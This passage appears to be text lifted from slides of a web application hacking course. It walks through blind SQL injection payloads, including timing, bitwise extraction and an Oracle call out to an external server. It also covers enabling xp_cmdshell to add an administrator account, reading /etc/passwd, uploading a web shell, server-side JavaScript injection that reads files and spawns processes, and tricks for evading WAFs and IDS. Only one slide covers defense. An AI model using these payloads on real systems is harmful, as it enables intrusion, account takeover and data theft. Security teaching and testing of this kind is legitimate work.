http://victim.com/search.aspx?id=1';if ASCII(SUBSTRING(SYSTEM_USER,1,1)) <112 waitfor
delay'0:0:20'--
FALSE
http://victim.com/search.aspx?id=1';if ASCII(SUBSTRING(SYSTEM_USER,1,1)) =111 waitfor
delay'0:0:20'--
TRUE
111 (ASCII (DECIMAL))
First char is o
Blind SQL Injection
87. Logical AND (&) Technique (break out the ascii
chart)
How logical AND operator works
◦ 1 & 1 = 1
◦ 1 & 0 = 0
◦ 0 & 1 = 0
◦ 0 & 0 = 0
◦ 1100 & 0110 = 0100
This technique will extract one bit at a time (8
requests per byte)
Blind SQL Injection
88. Ascii Character 'o' is HEX 6F and binary 0110 1111
Since ascii characters are 128 bits long we will AND
each character with 128 (1000 0000), 64 (0100 0000),
32 (0010 0000), 16 (0001 0000), 8 (0000 1000), 4
(0000 0100), 2 (0000 0010), 1 (0000 0001)
If we do a logical AND with each bit and delay a
certain number of seconds if the result of the logical
AND equals 1 then we should get
NO-DELAY, DELAY, DELAY, NO-DELAY
DELAY, DELAY, DELAY, DELAY
Blind SQL Injection
91. The Logic AND technique will take roughly the
same amount of requests on average as the
binary search technique. However, the Logical
AND technique does not depend on the previous
request (ie. The requests are idempotent). This
means when using the logical AND technique
multiple requests can be made at the same time.
Blind SQL Injection
92. Inference response based blind SQL Injection
True or False based on the sites response or
response data
http://victim.com/search.aspx?id=1' and 1=1 --
(no 500)
http://victim.com/search.aspx?id=1' and 1=1/0 --
(500)
Blind SQL Injection
93. Oracle timing based SQL Injection
(select
'a'||Utl_Http.request('http://madeupserver.com')
from dual WHERE (SELECT username FROM
all_users WHERE username='DBSNMP') =
'DBSNMP') --
Blind SQL Injection
96. Execute commands in MSSQL by using xp_cmdshell
' exec sp_configure 'show advanced options,1 –-
' ; RECONFIGURE –-
' exec sp_configure 'xp_cmdshell',1 –
' ; RECONFIGURE -- ' exec master..xp_cmdshell 'net user
pwny pwnsauce /ADD' --
' exec master..xp_cmdshell 'net localgroup Administrators
pwny /ADD' –
Metasploit and Core Impact both have modules for this that
could help speed up exploitation and pivoting on a system
SQL Injection Operating System
97. MySQL read file from filesystem
◦ select LOAD_FILE('/etc/passwd')
MySQL write file to filesystem
◦ select 'this is a test' into outfile '/var/www/test.txt'
SQL Injection Operating System
98. Parameterized Queries or Prepared Statements
Don’t put user input into Order by clause. Order by
clause is not usually supported with parameterized
queries
◦ ASC and DESC are only two options. You can use if
statement or sort output in javascript
◦ Can grab valid table names or values using a query then
check to see if user input matches. Then concatenate
with result from query
SQL Injection Defense
102. Upload a dynamic file (ie. php, asp, aspx, jsp,
etc..)
Run the dynamic code by going to the file using a
web browser
◦ http://victim.com/uploads/shell.php
Arbitrary File Upload
104. Cookie: admin=false
Cookie: 139434
Cookie: logged_in=false
Burp Sequencer can be used to identify non
random cookie variables
Session Manipulation and Session
Hijacking
107. Node.js
Mongodb (NoSQL with javascript engine)
CouchDB (NoSQL with javascript engine)
Javascript Server Side Injection
108. POST/test/ HTTP/1.1
Host: 192.168.1.123
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:28.0) Gecko/20100101 Firefox/28.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
response.end(‘pwnd’);
Javascript Server Side Injection
109. response.end(‘<script>alert(1)</script>’);
var fs = require(‘fs’);
response.end(fs.readdrSync(‘c:’).toString());
var fs = require(‘fs’);
response.end(fs.writeFileSync(‘c:secret.txt’,’littleSecr
et’));
require(‘child_process’).spawn(‘c:windowssystem32
calc.exe’);
response.end(‘success’);
Javascript Server Side Injection
110. NoSQL databases use a key value hashing
technique to store data
NoSQL databases are not very strict on what data
you can insert
NoSQL databse implementations may or may not
implement standard SQL
NoSQL Injection
111. Try characters one by one in the GET or POST to see if
specific characters are blocked
WAFs very often drop your traffic (Burp will usually time out
and your browser will show an error)
Instead of
◦ or '1'='1'--
Try
◦ Or/**/'2'/**/LiKe/**/'2
Instead of
◦ waitfor delay '0:0:20’--
Try
◦ Wait+for+dElay+'0:0:20’--
Defeating IDS/IPS/WAF
112. Instead of
◦ admin
Try
◦ char(0x61)%2bchar(0x64)%2bchar(0x6D)%2bchar(0x69)
%2bchar(0x6E)
Instead of
◦ ‘ union select password from users --%20
Try
◦ ‘(union(select(password)from(users))--((1))
Defeating IDS/IPS/WAF
113. Change GET to POST or POST to GET or Use HEAD
Use IPv6
Change IPv4 version header to 5 (IPv5)
HTTP Parameter Pollution
◦ http://victim.com/admin.php?userid=1&userid=2
⚫ASP concatenates: 1,2
⚫PHP takes last occurrence
⚫Java takes first occurrence
Change Content Type
◦ Content-Type: multipart/; boundry=0000
⚫(evasion of ModSecurity CRS)
Defeating IDS/IPS/WAF
114. There are many ways in a database to do the
same thing
◦ @@version
◦ version()
◦ select banner from v$version where banner like
‘Oracle%’
◦ select version from v$instance
Defeating IDS/IPS/WAF